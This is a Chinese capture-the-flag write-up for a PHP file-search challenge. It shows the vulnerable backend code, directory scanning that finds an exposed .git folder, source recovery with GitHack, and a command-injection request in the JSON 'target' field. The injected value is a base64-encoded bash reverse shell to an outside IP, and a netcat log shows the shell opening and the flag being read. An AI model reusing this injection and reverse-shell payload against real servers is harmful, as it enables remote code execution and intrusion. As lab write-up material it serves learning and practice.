

File_Search_Portal-简单-php

后端代码

题解

扫目录发现git泄露，考出源码

出题人：DDL

难度：简单题

考点：git泄露源码，代码审计

crpi-od6n6pziphyfcwhy.cn-hangzhou.personal.cr.aliyuncs.com/ddl08/01:33

后端代码

```
1  <?php
2      $validKey = "s3cr3tK3y";
3
4      if($_SERVER["REQUEST_METHOD"] != "POST"){
5          http_response_code(404);
6          echo "404 Not Found";
7      } else {
8          $data = json_decode(file_get_contents("php://input"));
9
10
11         if (!isset($data->key) || $data->key != $validKey) {
12             echo json_encode(["Invalid Key"]);
13             exit();
14         }
15
16         if (strpos($data->target, "&") != false || strpos($data->target,
17 "$") != false){
18             echo json_encode(["Invalid Character"]);
19             exit();
20         }
21         $query = exec("find ../../../../files/* -iname \"*{$data->target*}\" |
22 xargs");
23         if (strlen($query) < 1){
24             echo json_encode(["No file returned"]);
25         } else {
26             $queryArr = explode(" ", $query);
27             foreach($queryArr as $key => $tmp){
28                 $queryArr[$key] = str_replace("../../../../files/", "", $tmp)
29 ;
30             }
31             echo json_encode($queryArr);
32         }
33     }
34 }
35 ?>
```

题解

扫目录发现git泄露，考出源码

```

(root@kali)-[/var/www/html]
# dirsearch -u http://111.170.6.21:32831/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict

v0.4.3

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /var/www/html/reports/http_111.170.6.21_32831/_25-08-18_22-03-13.txt
Target: http://111.170.6.21:32831/

[22:03:13] Starting:
[22:03:17] 403 - 280B - /.git/branches/
[22:03:17] 301 - 320B - /.git/ → http://111.170.6.21:32831/.git/
[22:03:17] 403 - 280B - /.git/
[22:03:17] 200 - 92B - /.git/config
[22:03:17] 200 - 73B - /.git/description
[22:03:17] 200 - 23B - /.git/HEAD
[22:03:17] 403 - 280B - /.git/hooks/
[22:03:17] 200 - 225B - /.git/index
[22:03:17] 403 - 280B - /.git/info/
[22:03:17] 200 - 240B - /.git/info/exclude
[22:03:17] 403 - 280B - /.git/objects/
[22:03:17] 301 - 331B - /.git/refs/heads/ → http://111.170.6.21:32831/.git/refs/heads/
[22:03:17] 403 - 280B - /.git/refs/
[22:03:17] 301 - 330B - /.git/refs/tags/ → http://111.170.6.21:32831/.git/refs/tags/
[22:03:17] 403 - 280B - /.ht_wsr.txt
[22:03:17] 403 - 280B - /.htaccess.bak1
[22:03:17] 403 - 280B - /.htaccess.extra
[22:03:17] 403 - 280B - /.htaccess.sample
[22:03:17] 403 - 280B - /.htaccess.orig
[22:03:17] 403 - 280B - /.htaccess_orig
[22:03:17] 403 - 280B - /.htaccess.save
[22:03:17] 403 - 280B - /.htaccess.sc
[22:03:17] 403 - 280B - /.htaccessOLD
[22:03:17] 403 - 280B - /.htaccessBak
[22:03:17] 403 - 280B - /.htaccessOLD2
[22:03:17] 403 - 280B - /.htm
[22:03:17] 403 - 280B - /.html
[22:03:17] 403 - 280B - /.htpasswd_test
[22:03:17] 403 - 280B - /.httr-oauth
[22:03:17] 403 - 280B - /.htpasswd
[22:03:17] 404 - 14B - /index.php
[22:03:43] 403 - 280B - /server-status
[22:03:43] 403 - 280B - /server-status/

Task Completed

```

<https://github.com/lijiejie/GitHack>

```

(root@kali)-[/home/kali/ppyy/tool/GitHack]
# python GitHack.py http://111.170.6.21:32831/.git/
[+] Download and parse index file ...
[+] index.html
[+] index2.php
[OK] index.html
[Error] [Errno 104] Connection reset by peer
[OK] index2.php

(root@kali)-[/home/kali/ppyy/tool/GitHack]
# ls
111.170.6.21_32831 127.0.0.1 GitHack.py index lib README.md

(root@kali)-[/home/kali/ppyy/tool/GitHack]
# cd 111.170.6.21_32831

(root@kali)-[/home/.../ppyy/tool/GitHack/111.170.6.21_32831]
# ls
index2.php index.html

(root@kali)-[/home/.../ppyy/tool/GitHack/111.170.6.21_32831]
# ls -la
total 16
drwxrwxr-x 2 root root 4096 Aug 18 22:04 .
drwxrwxr-x 6 root root 4096 Aug 18 22:04 ..
-rw-rw-r-- 1 root root 959 Aug 18 22:04 index2.php
-rw-rw-r-- 1 root root 2049 Aug 18 22:04 index.html

```

find这源码处有漏洞

```
$query = exec("find ../../../../files/* -iname \"*$data->target*\" | xargs");
```

1 x +

Send Cancel < >

Target: http://111.170.6.21:32832 HTTP/1

Request

Pretty Raw Hex

```

1 POST /index2.php HTTP/1.1
2 Host: 111.170.6.21:32832
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
4 Accept: */*
5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 Accept-Encoding: gzip, deflate
7 Referer: http://111.170.6.21:32831/
8 Content-Type: application/json
9 Content-Length: 121
10 Origin: http://111.170.6.21:32831
11 Connection: close
12 Priority: u=0
13
14 {
  "key": "s3cr3tK3y",
  "target":
  "\\",echo YmFzaGAtaSA+JiAvZGV2L3RjcC8xMjUuNTYuMjI2LjcxLzgz40CAwPiYx | base64 -d | bash;echo\"
}

```

Response

Pretty Raw Hex Render

```

1 HTTP/1.1 200 OK
2 Date: Tue, 19 Aug 2025 02:13:45 GMT
3 Server: Apache/2.4.65 (Debian)
4 X-Powered-By: PHP/8.1.33
5 Content-Length: 21
6 Connection: close
7 Content-Type: text/html; charset=UTF-8
8
9 ["No file returned"]
10

```

Inspector

Request Attributes 2

Request Query Parameters 0

Request Cookies 0

Request Headers 11

Response Headers 6

Done 214 bytes | 54,472 millis

```

Last login: Tue Aug 19 10:06:45 2025 from 182.204.9.186
root@win1:~# nc -lnvp 888
Listening on 0.0.0.0 888
Connection received on 123.56.44.26 35784
root@win1:~# nc -lnvp 888
Listening on 0.0.0.0 888
Connection received on 111.170.6.21 55614
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@c486d6be618b:/var/www/html$ ls /
ls /
bin
boot
dev
etc
f11aag85486852218265502327.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var
www-data@c486d6be618b:/var/www/html$ cat /f11aag85486852218265502327.txt
cat /f11aag85486852218265502327.txt
DLNUCTF{732276d7-0475-461f-ab24-470ed836befb}

```